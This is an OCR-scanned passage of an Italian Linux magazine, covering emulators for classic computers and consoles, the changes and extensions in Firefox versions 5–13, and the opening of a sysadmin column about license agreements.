hanno fatto alcuni cloni, ma oggi la restante scena di ST si concentra sull’emulazione. Hatari è un eccellente emulatore di ST disponibile negli archivi di pacchetti di Ubuntu. Quando lo avviate per la prima volta vedrete un messaggio di errore che dice che /usr/share/hatari/tos.img non può essere trovata. TOS è il sistema operativo incorporato nella ST, perciò prendete una sua versione in fi le e copiatela nella posizione (dovrete essere root per l’accesso in scrittura alla cartella). Eseguite Hatari di nuovo e vedrete la classica scrivania verde di GEM. Premete F11 per passare tra le modalità normale e a schermo intero e F12 per richiamare il pannello grafi co delle confi gurazioni. Potete inserire immagini di fl oppy disk, cambiare il tipo di ST da emulare e impostare un joystick virtuale. Una fantastica caratteristica di Hatari è la capacità di registrare video AVI dall’azione sullo schermo. Andate alle opzioni Hatari Screen nelle impostazioni e premete Record AVI. Questo rallenterà l’emulatore considerevolmente, ma quando avete fi nito, cliccate su Stop Record e troverete hatari.avi nella vostra cartella home. Un’altra opzione è Aranym (http://aranym.sf.net). Invece di essere un clone di una ST, questo fornisce hardware emulato tipo-ST con un misto di componenti sostituti di TOS e GEM su tutti. È utile per eseguire alcuni successivi, più esigenti programmi di ST e Falcon.

LINUX PRO 120 25

Page 26: LinuxPro-N120_Settembre2012

Retrogaming

Sinclair ZX SpectrumBooooo-bip, booooo-bidibipibibippy... tutti quelli che erano già nati negli anni ‘80 ricordano il suono di caricamento del nastro dello Spectrum. E il contrasto di colori, gli effetti sonori granulosi e ronzanti e i tasti di gomma sul modello 48k. Lo Spectrum è stato enormemente popolare in Gran Bretagna, ma in qualche modo sopraffatto dal Commodore 64 nel resto del mondo (nel nostro paese i fl ame tra le due fazioni erano notevoli). Non importa però, possiamo ancora giocare a classici come Elite, Manic Miner e Mercenary con la limitata potenza della macchina. Potete ancora trovare vecchi Spectrum su eBay e siti simili a un prezzo ragionevole, ma le vecchie macchine stanno iniziando a rompersi. Fortunatamente, ci sono un sacco di emulatori che fanno un lavoro accurato. Uno di questi è Spectemu, che emula il modello 48k. Gli utenti di Ubuntu e di Debian possono installarlo tramite il pacchetto spectemu-x11. Questo richiama il pacchetto spectrum-roms, che contiene il mini sistema operativo incorporato nella macchina a 8 bit. Questo codice è ancora coperto dai diritti di Amstrad, ma come bel gesto la società ha dato agli sviluppatori dell’emulatore il permesso di distribuire le ROM. Perciò non è necessaria nessuna caccia sulla rete: hurrah! Eseguite l’emulatore da riga di comando con xspect e tenete d’occhio la fi nestra del terminale, poiché fornisce molti riscontri e aiuti. Dentro

Commodore 64Negli Stati Uniti è stato il Commodore 64 che ha dominato l’era degli 8 bit. Come computer singolo più venduto di tutti i tempi (in confronto a una linea di computer come l’Amiga), il C64 si è fatto

l’emulatore, per esempio, premendo Ctrl+H vedrete un elenco dei comandi principali. Per caricare i programmi premete i tasti F3 o F4 nella fi nestra dell’emulatore, poi passate alla fi nestra del terminale e inserite il nome del fi le. Ma perché due diversi comandi? Beh, i programmi dello Spectrum sono normalmente distribuiti in due diversi formati: immagini della memoria e immagini del nastro. Il primo è solo un blocco di dati per riempire i banchi RAM della macchina e ha l’estensione Z80 o SNA. Per caricarli usate F3. Per le immagini del nastro, che rappresentano le originali cassette audio,

strada in milioni di case e ha ancora un esercito di fedeli sostenitori oggi. Questo è dovuto specialmente al chip SID, il generatore di suono del C64, e alcuni musicisti stanno ancora scrivendo musica per i pochi chip SID ancora

e tipicamente fi niscono con .tap, dovete prima inserire LOAD “” nella fi nestra dello Spectrum (premete J, poi premete Maiusc+P due volte). Premete Invio per avviare lo Spectrum virtuale, poi premete F4 e inserite il nome del fi le del nastro nella fi nestra del terminale. Un suggerimento se non avete il suono nell’emulatore: installate alsa-oss ed eseguite aoss xspect. Se volete un emulatore più avanzato, specialmente per software che richiede macchine più recenti, provate Fuse (http://fuse-emulator.sf.net). Questo emula persino i cloni russi dello Spectrum.

funzionanti oggi. Il C64 è stato usato anche ampiamente come computer domestico “serio”, con persino un sistema operativo a interfaccia grafi ca chiamato GEOS. VICE, l’emulatore versatile di Commodore (Versatile Commodore Emulator) è nato nel 1993. Emula anche alcune delle altre macchine di Commodore, come il VIC-20 e il PET. Potete ottenerlo su Ubuntu tramite sudo apt-get install vice e usare x64 per avviarlo. Al primo avvio, comunque, vedrete un messaggio di errore che segnala che VICE non può trovare il fi le kernal. Questo è il sistema operativo incorporato nel C64, perciò dovrete trovarne una copia e metterla nella cartella /usr/lib/vice/C64. Dovrete anche trovare i fi le ROM basic e chargen e metterli nella stessa cartella. VICE ha un’interfaccia a menu di GTK, perciò guardate nei menu Options e Settings per vedere quali parti del C64 emulato potete ottimizzare. La maggior parte dei giochi sono forniti nel formato TAP (nastro) o D64 (disco), quest’ultimo richiede meno lavoro per essere impostato, perciò, una volta che avete trovato il fi le .tap per il gioco che volete giocare, andate in File D Smart-Attach Disk/Tape e nel menu selezionate il fi le e premete Autostart. Il gioco si caricherà alla stessa velocità della macchina reale, che è ottimo per i nostalgici, ma meno eccitante quando vi manca il tempo. Andate in Options D Enable Warp Mode per velocizzare un po’ le cose. Quando il gioco è caricato, disabilitate il Warp Mode per impostare la velocità normale.

Mercenary forniva un vasto mondo

tridimensionale in soli 48k. Alla faccia

di quasi tutti gli altri giochi

Ecco una schermata di Elite, o, come è conosciuto nella redazione di Linux Pro, il gioco che ha consumato molte infanzie

26 LINUX PRO 120

Page 27: LinuxPro-N120_Settembre2012

Retrogaming

Sega Mega Drive (Genesis)Sonic the Hedgehog, Road Rash, Columns, Golden Axe, Streets of Rage... la lista di giochi classici per la console a 16 bit di Sega potrebbe andare avanti. Sega posizionò il Mega Drive come alternativa alla moda, da posa, al Super NES indirizzato alle famiglie e riuscì a piazzare 40 milioni di macchine. Tuttavia, Sega provò a spremere la console un po’ troppo, crediamo, con gli accessori Mega CD e 32X che frammentarono

il mercato e confusero i clienti sulle strategie dell’azienda. Il Mega Drive continua a vivere, però, in forma di gioco per televisore economico che potete comprare negli Argos e negozi simili, dove la console e i chip ROM dei giochi sono sigillati in una scatola. Gens è un fantastico emulatore, sebbene non sia così facile da trovare nel mondo Linux, anche nelle distribuzioni più grandi. All’indirizzo http://sf.net/projects/gens potete trovare gli RPM e i pacchetti Debian dal 2008 (guardate la sezione Gens for Linux). Se non

riuscite, potete provare a compilare il codice sorgente o cercare sul Web i diversi pacchetti binari. Una volta installato, potete avviare l’emulatore da riga di comando con gens, seguito opzionalmente da un nome di fi le per un’immagine ROM (i giochi del Mega Drive sono di solito fi le SMD). In modo predefi nito, Gens non fa un lavoro particolarmente buono con le impostazioni video, comprimendo la TV emulata in un minuscolo spazio. Andate nel menu Graphic e abilitate la casella di controllo OpenGL per sistemarlo. Potete usare la tastiera come joypad virtuale, con i tasti cursore che funzionano da crocetta direzionale e i tasti A, S e D che svolgono il compito dei tre pulsanti di sparo. Premete Invio per iniziare. Una caratteristica particolarmente utile di Gens è la capacità di registrare un’immagine dello stato con la pressione di un singolo tasto: premete F5 e vedrete State saved nell’angolo in basso a sinistra. Ora continuate e fate qualcos’altro nel gioco, premete F8 e sarete riportati al punto in cui avete premuto F5. Questo è utile quando volete giocare velocemente fi no alla fi ne un gioco diffi cile, poiché potete registrare la vostra posizione prima di un livello particolarmente duro, di un salto o di un mostro. Se volete invece usare un vero joypad USB, andate in Option D Joypads e ridefi nite i tasti.

Super NintendoE così arriviamo indiscutibilmente alla più grande console dell’era pre-3D. Che la chiamiate Super Nintendo, Super NES o SNES, non c’è dubbio che fosse la casa di alcuni dei più bei titoli bidimensionali di tutti i tempi: Mario World, Zelda III e Secret of Mana. Grazie ad alcuni trucchi dei chip extra nelle cartucce con la DSP e la Super FX, i patiti di SNES hanno anche avuto un assaggio della ulteriore dimensione sotto forma di Mario Kart, Pilotwings e Star Fox (alias Starwing). Molti hanno visto questa console in qualche modo destinata ai bambini in confronto all’offerta di Sega, ma si può dire che il livello di creatività e di divertimento nei giochi da tripla A di Nintendo è ineguagliabile. Perciò è una fortuna, quindi, che una console così fantastica abbia anche un brillante emulatore in ZSNES. Questo programma è in circolazione da 15 anni e grazie al fatto di essere stato scritto in linguaggio Assembly per x86, poteva emulare una SNES perfettamente su di un PC a 200 MHz. Potreste aver sentito parlare anche di Snes9x, che è più popolare su alcune piattaforme perché non è legato a una specifi ca architettura, ma per ragioni di prestazioni vi consigliamo ZSNES. Inoltre, è disponibile in quasi ogni distribuzione popolare. Avviate l’emulatore e vedrete che ha un’interfaccia unica, dall’aspetto retro (o se avete caricato l’emulatore con un gioco, premete Esc per far apparire il menu). Andate

Crediamo che Sonic 1 fosse un gioco molto più equilibrato e intelligente del suo seguito. Inviate tutte le e-mail di protesta al solito indirizzo, per favore

Ah, quanta nostalgia ci viene guardando queste immagini…

in Game D Load per selezionare una ROM del tipo di fi le SMC e in Confi g D Input per ridefi nire i controlli della tastiera o impostare un joypad USB se ne avete uno. Premere Alt+Invio vi porta in modalità a schermo intero, ma vi consigliamo di esplorare anche alcune delle altre modalità video in Confi g D Video per ottenere prestazioni migliori. Una delle nostre funzioni preferite di ZSNES è la capacità di creare

i vostri propri trucchi del gioco con una specie di autocomposizione. Andate in Cheat D Search nel menu e scegliete l’opzione Comparative Search. Con questo potete fare un’immagine della RAM, giocare per un momento e tornare a vedere quali byte sono cambiati nella RAM. Con un po’ di tempo e di creatività potete individuare quali byte controllano i bonus, le vite, eccetera e smanettare con i meccanismi del gioco. Divertimento fantastico. LXP

LINUX PRO 120 27

Page 28: LinuxPro-N120_Settembre2012

Firefox è senza ombra di dubbio il più importante progetto di software libero della storia. Certo, Linux è fantastico e fa girare buona parte di quello che

è Internet, ma non è ancora molto conosciuto al di fuori del giro dei suoi appassionati, mentre Firefox è usato dappertutto, è un marchio di fabbrica estremamente conosciuto, è stato sostenuto da eccellenti campagne pubblicitarie e ha ridato speranza al World Wide Web, liberandoci dalla dominazione di Internet Explorer. Forse non tutti ricordano che c’è stato un momento nel 2002 dove Microsoft aveva un terrificante 95% di quota del mercato dei navigatori e la situazione sembrava orrenda e disperata. Mozilla sopravviveva all’oblio grazie al supporto dei vecchi utenti di Netscape, ma c’era proprio bisogno di un browser nuovo, veloce, moderno, attraente e ben reclamizzato per riconquistare il Web. E Firefox (noto agli albori come Phoenix e Firebird) fu tutto questo e, cosa ancora più importante, riuscì ad attrarre nuovi utenti nel mondo Linux. Non è comunque riuscito a dominare il mercato dei browser, ma questa in fondo è una cosa positiva – più siamo e meglio è. Comunque, questi ultimi anni non sono stati facili per

FirefoxTurbo

e tutto questo è un incubo per l’helpdesk delle grandi compagnie. Per approvare ogni nuovo rilascio devono testarlo per mesi sulle loro applicazioni interne, ma al momento in cui sono pronti scoprono che nel frattempo sono state rilasciate altre cinque versioni principali, con altrettanti cambi di interfaccia utente, e che la versione testata non è più supportata. Questo problema si è attenuato un po’ con l’uscita di Firefox 10, che è una versione ESR, vale a dire Extended Support Release (Rilascio a Supporto Esteso): in altre parole, per essa saranno disponibili correzioni di bug e aggiornamenti di sicurezza importanti per un periodo di almeno un anno dal suo rilascio, in modo che le aziende possano utilizzarla a lungo, sapendo che i loro siti e le loro estensioni non smetteranno di funzionare improvvisamente. Ad ogni modo, grazie al fortissimo ritmo di evoluzione della comunità di Firefox, tutto questo corrisponde a tempi di eoni rispetto all’ultima versione da noi recensita – Firefox 5 in LXP108, per essere precisi. La versione corrente è la 13.0.1, e sono successe una valanga di cose nel frattempo. In questa sede esploreremo quello che è cambiato e vi mostreremo come installare l’ultima versione e potenziarla con le migliori estensioni.

Firefox. Internet Explorer è migliorato, e Chrome di Google ha dato un sonoro calcio nel sedere ai classici browser con la sua incredibile velocità e l’interfaccia utente agile e leggera, diventando poco tempo fa il numero uno. Nel tentativo di rimontare posizioni, il team di programmatori di Firefox ha affossato il vecchio ciclo di sviluppo, che prevedeva il rilascio di versioni principali ogni anno o due e l’aggiornamento di caratteristiche secondarie nel periodo tra i rilasci più importanti. Hanno optato per un ciclo di sviluppo molto più rapido, con nuovi rilasci principali a pochi mesi di distanza gli uni dagli altri: questa scelta è stata molto controversa, con gli utenti che si sono divisi tra pro e contro.

Pro: le nuove caratteristiche si fanno strada tra gli utenti più rapidamente se

i rilasci sono fatti seguendo una programmazione con tempi più stretti, non seguendo i capricci del gruppo di progetto. Questo aiuta Firefox a reggere la competizione con Chrome che si aggiorna continuamente dietro le quinte e sorprende allo stesso modo gli utenti con nuove caratteristiche;

Contro: la compatibilità delle estensioni è messa in discussione troppo di frequente,

Il più popolare navigatore Web Open Source continua incessantemente ad acquisire punti di forza. Linux Pro registra i suoi progressi e vi mostra come potenziarlo con nuove caratteristiche

Firefox

28 LINUX PRO 120

Page 29: LinuxPro-N120_Settembre2012

Nella corsa per mantenersi al passo di Google Chrome e, in misura minore di Internet Explorer, il team di Firefox ha rilasciato un certo numero di versioni

principali in rapida successione. Comunque, se chiedete all’uomo della strada quali sono le novità in Firefox 9, probabilmente vi risponderà scrollando le spalle. Forse l’aumentata frequenza dei rilasci ha reso il pubblico meno interessato alle sue caratteristiche: invece di una nuova versione annuale di Firefox con relative fanfare di riviste e siti Web che recensiscono minuziosamente ogni nuova caratteristica, ci aspettiamo tutti un salto di versione ogni pochi mesi e non chiediamo nemmeno cosa sia cambiato. Ma questo navigatore ha fatto enormi progressi dalla versione 5.0:

5 L’esperienza di navigazione Web è divenuta molto più attraente, grazie all’inclusione del

supporto per le animazioni CSS. Non solo questa caratteristica rende il sito Web visitato più interattivo, ma addirittura in alcuni casi non richiede il supporto Flash. Inoltre a partire da Firefox 5 si è iniziato a promuovere l’opzione anti-tracciamento dei dati personali, introdotta nella precedente versione, che segnala ai siti Web che non volete pubblicità mirata. Infi ne, sia la velocità di esecuzione di JavaScript che il supporto di HTML 5 sono state migliorate.

6 La maggior parte dei cambiamenti introdotti da questa versione è stata “nascosta”

all’utente medio, a parte il restyling dell’interfaccia, resa più simile a Chrome e con aggiunte e rifi niture alla barra degli URL. D’ora in poi, gli indirizzi vengono mostrati con testo di colore grigio, nero per quanto riguarda la parte che identifi ca il dominio. Nel frattempo, il team ha implementato il Blocco per gli appunti JavaScript – un ambiente console per testare rapidamente il codice JavaScript – ed è stata riorganizzata l’interfaccia alla Console Web (anche questa usata principalmente dagli sviluppatori di siti).

7 La modifi ca più visibile dall’utente è stata l’eliminazione del prefi sso ‘http://’ dalla barra

degli indirizzi. Ma il team di Firefox ha fatto un lavoro

splendido per risolvere il noto problema di uso eccessivo della memoria da parte della sua creatura, con la versione in esame che è dichiarata richiedere il 50% di risorse in meno rispetto alla 4. Infi ne, anche il supporto per MathML è stato migliorato.

8 Con ottimo tempismo, questa versione ha iniziato ad affrontare

il problema delle ‘estensioni subdole’: ha disabilitato le estensioni installate da programmi di terze parti (di solito fuffa pubblicitaria) e, a coloro che hanno eseguito l’aggiornamento a partire dalla versione 7, ha chiesto di scegliere quali estensioni volevano continuare a usare. Sì, sappiamo tutti che le estensioni possono essere eccezionalmente utili, ma a causa di esse molti utenti non tecnici appesantiscono le proprie installazioni con carichi che non comportano nessun reale vantaggio per loro quindi, a nostro modo di vedere, anche questa è stata una mossa intelligente.

9 Maggiori prestazioni con il codice JavaScript e migliore compatibilità con HTML5 sono stati

i cambiamenti principali introdotti da questa versione – niente di immediatamente visibile.

10 Questa versione ha introdotto una gestione delle estensioni molto più fl essibile che in

passato, potendo essa accettare tutto quando scritto per le versioni dalla 4 in avanti. Sagge soluzioni per l’interfaccia, con il pulsante freccia per avanzare nella navigazione che non viene più visualizzato se non c’è un indirizzo effettivo a cui avanzare, e il supporto per le trasformazioni 3D CSS introdotto in modo da permettere agli sviluppatori di inserire effetti 3D.

11 La controffensiva nei confronti di Google Chrome inizia da questa versione, con

la possibilità di importare i vostri dati memorizzati in quel browser in Firefox. Da questa versione è possibile sincronizzare le estensioni di Firefox installate su diversi computer, e per gli sviluppatori è stato aggiunto un editor di fogli di stile CSS.

Procede un po’ a scatti, ma la demo FPS di Keith Clark disponibile all’URL http://tinyurl.com/6wpkeot dimostra bene cosa è possibile fare con le trasformazioni 3D CSS

Come ottenere l’ultima versione?La fi tta programmazione di rilasci di Firefox ha certamente causato più di un mal di testa a chi organizza i pacchetti per le distribuzioni Linux. Pensate a Debian: la loro politica conservativa permette che solo risoluzioni di bug critici e correzioni di sicurezza arrivino sui rilasci stabili. Il team di Debian si assume la responsabilità del supporto del software che fornisce, e questo diventa un compito diffi cile con Firefox che salta di qua e di là, proponendo cambiamenti sostanziali nel giro di pochi mesi. Fortunatamente i pacchetti di Firefox disponibili sul sito del browser funzionano normalmente su più

distribuzioni. Per scaricare il pacchetto uffi ciale dovete andare per prima cosa alla pagina Web www.getfi refox.com e premere il pulsante Download gratuito che fa bella mostra di sé: dopo qualche istante troverete un pacchetto di tipo .tar.bz2 nella vostra cartella dedicata ai download. Precisamente, nel caso in esame questo pacchetto si chiamerà fi refox-13.0.1.tar.bz2: estraete il contenuto di questo archivio aprendo un terminale e digitando il seguente comando tar xfv fi refox-13.0.1.tar.bz2Verrà creata una nuova cartella dal semplice nome fi refox.

Lanciate ora il seguente comando fi refox/fi refoxA questo punto potete anche cancellare il tarball e, se tutto è andato bene, il navigatore partirà e voi potrete aggiungere un launcher al vostro ambiente desktop o al vostro Window Manager. Ricordatevi che questa è un’installazione manuale locale di Firefox, quindi il gestore di pacchetti della vostra distribuzione non la aggiornerà: comunque potrete sempre visitare il sito di Firefox per scaricare e installare nuove versioni nello stesso modo.

Cosa c’è di nuovo?Dopo una raffica di nuovi rilasci negli scorsi 12 mesi e più, sono cambiate moltissime cose dalla versione 5.0 e in questa sezione sono riassunte le tappe del viaggio verso la versione 13.0.1

12 Gli utenti di questa versione possono incollare gli URL dei fi le da scaricare direttamente nel

gestore di download, e l’opzione Sorgente pagina presenta il codice numerando le varie linee. Gli strumenti di sviluppo sono stati molto rifi niti (si noti in particolare la Console Web e l’Analisi pagina).

13 In questa versione l’apertura di una nuova linguetta offre all’utente la vista delle nove

pagine da lui più visitate, in stile Chrome, e la pagina di default standard permette un accesso più rapido ai Segnalibri, alla vostra storia di navigazione, alle Preferenze e altro. Sono state inoltre introdotte molte novità (oltre settanta) per gli sviluppatori, che riguardano gli strumenti Console Web, Analisi pagina (in particolare la barra laterale Stile e il pannello HTML), Blocco per gli appunti, Editor stili e il supporto CSS.

In defi nitiva, mentre l’interfaccia utente è stata rifi nita e rinfrescata cogliendo alcuni suggerimenti da Chrome, c’è stato un mucchio di lavoro sulla parte interna del software, per rendere il browser performante con le nuove tecnologie Web e facilitare il suo uso da parte degli sviluppatori. E voltando pagina saprete come rendere il vostro Firefox 13 veramente speciale...

Firefox

LINUX PRO 120 29

Page 30: LinuxPro-N120_Settembre2012

Web Of Trust raccoglie recensioni di siti Web, aiutandovi a evitare quelli dal contenuto ingannevole

da contenuti ingannevoli o per chiunque non voglia inavvertitamente incappare in pornografi a o malware. Web Of Trust (WOT) raccoglie le esperienze di migliaia di altri utenti, mostrandovi le valutazioni di siti Web in termini di affi dabilità, privacy, e sicurezza per i bambini. Potete personalizzarlo in modo da bloccare certi siti, oppure in modo che vi mostri le valutazioni in ciascun sito che vi viene offerto come risultato dal vostro motore di ricerca. Ci sono molti altri strumenti di questo tipo, ma WOT si integra così bene con il navigatore che riteniamo sia il migliore in questa classe di estensioni.

FireFTPSe accedete a un server FTP con Firefox,

di tipo cross-site scripting, dove codice malevolo può essere stato iniettato sul sito che state visitando. NoScript non rende solo più sicuro il vostro navigatore, ma ne migliora anche la velocità, fi ntanto che il codice JavaScript è usato per fare semplici presentazioni e non per offrire contenuti. Potete comunque abilitare i siti Internet fi dati all’uso degli script inserendoli in un’opportuna whitelist, che vi viene fornita da NoScript con preinseriti alcuni dei più popolari siti Web. Consigliatissimo a chi fa un mucchio di operazioni bancarie online.

Web of TrustQuesta estensione è l’ideale per i genitori

che vogliono proteggere la navigazione dei fi gli

Abbiamo sempre approvato vivamente la politica del team di Firefox di non cercare di fare troppo. Il troppo stroppia e anche se si è tentati di rovesciare

sull’utente palate di caratteristiche supplementari e abbellimenti, la priorità base di questo tipo di software è permettere una riproduzione corretta delle pagine Web. Quindi siamo sempre stati molto soddisfatti del sistema per la gestione delle estensioni usato da questo browser (a parte qualche occasionale problema di compatibilità), che permette di aggiungere qualche opzione extra al nucleo delle caratteristiche di base: le potete scaricare dal sito http://addons.mozilla.org , e qui di seguito vi descriviamo le nostre favorite.

DownThemAllIl gestore di download standard di Firefox

è piuttosto rudimentale, quindi questa estensione è stata progettata per essere molto più versatile. Potete scaricare contemporaneamente il contenuto di tutti i link presenti in una data pagina Web, oppure tutte le immagini o i video, oppure ancora digitare una vostra espressione regolare e scaricare i contenuti che la verifi cano – praticamente potete fare quasi tutto quello che desiderate. Questo strumento è enormemente utile quando avete una galleria di immagini in una pagina Web, per esempio un album fotografi co, e volete scaricarla in un colpo solo. DownThemAll è anche altamente confi gurabile ed è capace di eseguire download in maniera concorrente per velocizzare un po’ le cose. Dopo l’installazione, lo troverete immediatamente disponibile nel menu Strumenti.

NoScriptInstallatelo e vi bloccherà immediatamente

tutte le applicazioni Java e Flash sulla maggior parte dei siti Web. E perché mai al mondo dovreste voler fare una cosa simile? Beh, avere queste applicazioni abilitate vi espone completamente agli attacchi

La strada per il paradiso della navigazioneIn questa sezione troverete la nostra scelta di trucchi, rifiniture e estensioni che potete mettere in opera per trasformare Firefox nel browser perfetto

Migliorate la vostra sicurezzaFirefox è un browser ragionevolmente sicuro e rispettoso della vostra privacy se usato con la sua confi gurazione di default. Per esempio, se avete usato Google Chrome, saprete che questo navigatore invia e riceve scampoli di informazione dai server di Google per fornire caratteristiche extra, come le previsioni nella barra degli indirizzi su quello che state ivi digitando e avvertimenti riguardo a siti Web potenzialmente infestati da malware (tutte cose che comunque potete disabilitare). Firefox non è così chiacchierino, ma ci sono comunque alcune cose che potete fare per migliorarlo ulteriormente. In primo luogo, potete entrare nel pannello delle preferenze dalla barra degli strumenti (Modifi ca D Preferenze) e scegliere Attiva l’opzione anti-tracciamento dei dati personali dal pannello Privacy: in

questo modo avvisate i siti visitati che non desiderate ricevere da loro cookie che osservino la vostra attività sul Web – ad esempio che registrino quali altri siti Web visitate e quali sono i termini di ricerca da voi usati più spesso. Sfortunatamente, questa opzione è solo un suggerimento non legalmente vincolante, e siccome gli interessi economici in gioco sono molto forti, solo pochi siti la rispettano. Ma è comunque un inizio. Una seconda cosa che potete fare è, nella sezione Cronologia dello stesso pannello Privacy, scegliere l’opzione Utilizza impostazioni personalizzate dal menu a tendina Impostazioni cronologia, poi deselezionare la casella dell’opzione Accetta i cookie da terze parti. Questa scelta farà sì che il navigatore accetti ancora i cookie dal sito che state visitando, ma non da altri ad esso relati (come quelli delle

locandine pubblicitarie che può ospitare). Si noti però che anche se questa confi gurazione funziona bene per la maggior parte dei siti, ne esistono comunque altri che necessitano questa opzione abilitata. Se volete eseguire una operazione sul Web e assicurarvi che il vostro browser non memorizzi nulla, dovete invece scegliere dal menu a tendina Strumenti della barra principale l’opzione Avvia Navigazione anonima. Fatto questo, da ora fi no al momento in cui ne terminerete l’esecuzione o disabiliterete questa opzione, niente di quello che farete (a parte l’aggiunta di bookmark) verrà registrato dal navigatore. Questo vi può essere utile, per esempio, se volete fare qualche operazione bancaria online e non volete lasciar memorizzato nessun tipo di cookie o altra forma di informazione che un sito Web malevolo possa recuperare.

Firefox

30 LINUX PRO 120

Page 31: LinuxPro-N120_Settembre2012

Desiderate un Firefox più simile a Vim? Installate Pentadactyl e concedete una pausa al mouse

È un’estensione estremamente popolare tra gli sviluppatori di applicazioni Web, e mostra effettivamente quello di cui è capace una estensione API.

RightToClickConoscete tutti quei siti noiosi che usano

codice JavaScript per sostituire il menu che appare cliccando con il tasto destro del mouse, proibendovi di selezionare e copiare testi e imponendo restrizioni insensate? Sembra che abbiano preso il controllo del Web, ma RightToClick si oppone al loro strapotere. Con questa estensione potete scegliere quali caratteristiche JavaScript una pagina Web sia in grado di attivare, fi no a un livello incredibilmente fi ne. Ad esempio potete disabilitare ogni timer JavaScript in una data pagina, il che vi libera da quei noiosi pop-up che compaiono ogni minuto per ricordarvi di creare un account. Oppure possono bloccare ogni sito Web che cerchi di prendere il controllo della vostra tastiera: è veramente un antidolorifi co per chi naviga in Internet.

quello che vedrete sarà una lista semplice lista di fi le e cartelle, con poche altre informazioni. FireFTP trasforma invece il navigatore in un vero e proprio client FTP, con la capacità di caricare fi le locali, eseguire test di integrità e sincronizzare cartelle. Questa estensione supporta anche il protocollo SFTP, la crittografi a SSL e il fi le editing in remoto. È vero che esistono client FTP eccezionali, ma è utile averne uno a portata di click. Dallo stesso sviluppatore è inoltre disponibile FireSSH, un client SSH che risiede nella fi nestra del browser, scritto interamente in JavaScript.

GreasemonkeyQuesto software è solo nominalmente

un’estensione: in realtà si tratta di una piattaforma per permettervi di usare migliaia di script creati da forse altrettanti utenti sparsi per il Web. Questi script eseguono al volo cambiamenti alle pagine Web, alterandone l’aspetto o il comportamento. Per esempio, odiate il pannello ‘Video Raccomandati’ su YouTube? Esiste uno script in Greasemonkey per liberarvene. Vi interessa aver la possibilità di barrare messaggi in Gmail? Sì, qualcuno ha creato uno script Greasemonkey che vi permette di abilitare questa funzione. Esiste un’ampia gamma di esempi simili nel sito www.userscripts.org, una volta trovato quelli che vi interessano non sarete più in grado di vivere senza questa estensione.

FirebugFirebug aggiunge una pila di strumenti

di sviluppo a Firefox, permettendovi di editare e fare debug di codici HTML, CSS, JavaScript e altro dall’interno del vostro navigatore. E potete farlo in tempo reale, ad esempio visualizzando un sito Web nel pannello superiore e modifi cando i suoi contenuti nel pannello sotto. È incluso un potente debugger JavaScript, e potete osservare l’attività di Rete tra il vostro navigatore e il server per individuare eventuali colli di bottiglia. E se scrivete in Ajax, potete anche controllare l’API XMLHttpRequests al volo.

Cosa ci riserva il futuro?Firefox 13 ha comportato alcuni signifi cativi cambi estetici, in particolare viene mostrata una griglia 3x3 con le anteprime delle ultime nove pagine visitate a mo’ di menu di scelta rapida all’apertura di ogni nuova linguetta. È chiaramente una caratteristica ispirata da quello che già avviene in altri navigatori, come Chrome e Opera. Non siamo realmente conviti che sia un cambiamento così utile – sì, l’effetto estetico è buono, ma le anteprime sono troppo piccole per rendere intelligibili i loro dettagli, e comunque ognuno sa quali sono i suoi siti preferiti. Comunque, lungi da noi criticare un abbellimento che possa attirare qualche utente di altri navigatori e, come abbiamo più volte detto, se una qualche idea funziona bene per la concorrenza, perché non adottarla? Tutte queste caratteristiche, e altre ancora, hanno reso Firefox più usabile sui dispositivi touchscreen: anche per le versioni 14 e 15 questa linea di sviluppo sembra essere confermata. Firefox 14, uscito nei giorni scorsi nella versione per Android, ha già introdotto qualche novità interessante: ad esempio l’uso del protocollo HTTPS per le ricerche con Google, che rende

i risultati disponibili a voi tramite una connessione criptata sicura. Un’altra caratteristica introdotta riguarda le estensioni: potranno essere caricate solo su vostro assenso. Sono poi state aggiunte una manciata di opzioni dedicate agli sviluppatori, ed è stato implementato l’autocompletamento degli URL della Barra irresistibile (la nota e versatile barra degli indirizzi di Firefox, così come l’hanno battezzata gli sviluppatori), risolvendo un biennale bug (si veda https://bugzilla.mozilla.org/show_bug.cgi?id=566489 per i dettagli). Quest’ultima funzione merita una descrizione un po’ più approfondita, perché crediamo che molti di voi la troveranno utile: supponiamo che nella vostra storia di navigazione abbiate visitato l’URL seguente http://www.ams.org/publications/journals/journalsframework/ spmj Digitando “ams” nella Barra irresistibile, la funzione vi proporrà l’indirizzo completato fi no al primo frammento di URL, vale a dire ams.org/

offrendovi però anche l’indirizzo completo nel pannello a discesa della barra, in modo che voi possiate selezionarlo con il mouse o con la freccia in giù. Se però volete anche il frammento successivo, vi basterà iniziare a digitare “publications” per ottenerlo come mostrato qui di seguito: ams.org/publications/La pressione del tasto invio aggiungerà alla stringa il prefi sso già presente in memoria (se presente) e vi porterà alla pagina desiderata (se accessibile). Firefox 15 non ha caratteristiche defi nite in maniera così precisa, ma probabilmente vedrà implementato un supporto nativo per i fi le PDF, già peraltro disponibile nella forma di lettore di fi le PDF integrato nella versione 14 Nightfl y, e vedrà supportato il protocollo SPDY, alternativa di Google all’HTTP, per la navigazione Internet veloce, già peraltro annunciato per la versione 13 corrente. Si parla infi ne anche di un nuovo download manager, molto più versatile rispetto a quello attuale, che troverà la sua collocazione nella fi nestra principale e non più in un pannello separato.

PentadactylE infi ne, vi proponiamo un’estensione adatta

agli amanti di Vim o a chiunque altro non ami molto il suo mouse e desideri che Firefox sia più orientato all’uso con tastiera. Pentadactyl rende il navigatore controllabile da tastiera con una sintassi simile a quella dei comandi di Vim, in modo che possiate scrivere :open seguito da un URL e subito visitare un certo sito o anche :q per chiudere il programma. Potete anche muovervi in una pagina Web con i tasti H, J, K e L, e chiudere una linguetta con il tasto D. In questa piccola panoramica non possiamo rendere giustizia alla vasta gamma di combinazioni di tasti e comandi associati offerta da Pentadactyl, ma forse è suffi ciente dire che si tratta molto di più di semplici trucchetti – praticamente ogni aspetto della navigazione Web è trattato con molta cura. LXP

Firefox

LINUX PRO 120 31

Page 32: LinuxPro-N120_Settembre2012

34 LINUX PRO 120

Sysadmin

Premiata Amministreria Dottor Brown

Tecniche esoteriche per i sysadmin direttamente dai recessi più impenetrabili della sala server

34

Ci siamo passati tutti. Magari acquistando

un biglietto dal servizio online di prenotazione

dell’azienda ferroviaria. Magari scaricando

i driver a sorgente chiuso per la nostra scheda

grafi ca, oppure installando il plug-in Flash per

il browser. Inevitabilmente siamo arrivati a quella

cosa chiamata “Accordo di licenza”. A volte viene

presentato direttamente, cioè il testo dell’accordo

compare in una serie di schermate che occorre

scorrere fi no alla fi ne per completare l’operazione

in corso. Ma, spesso, occorre fare click

su di un link ed essere trasportati da qualche

altra parte per vederlo.

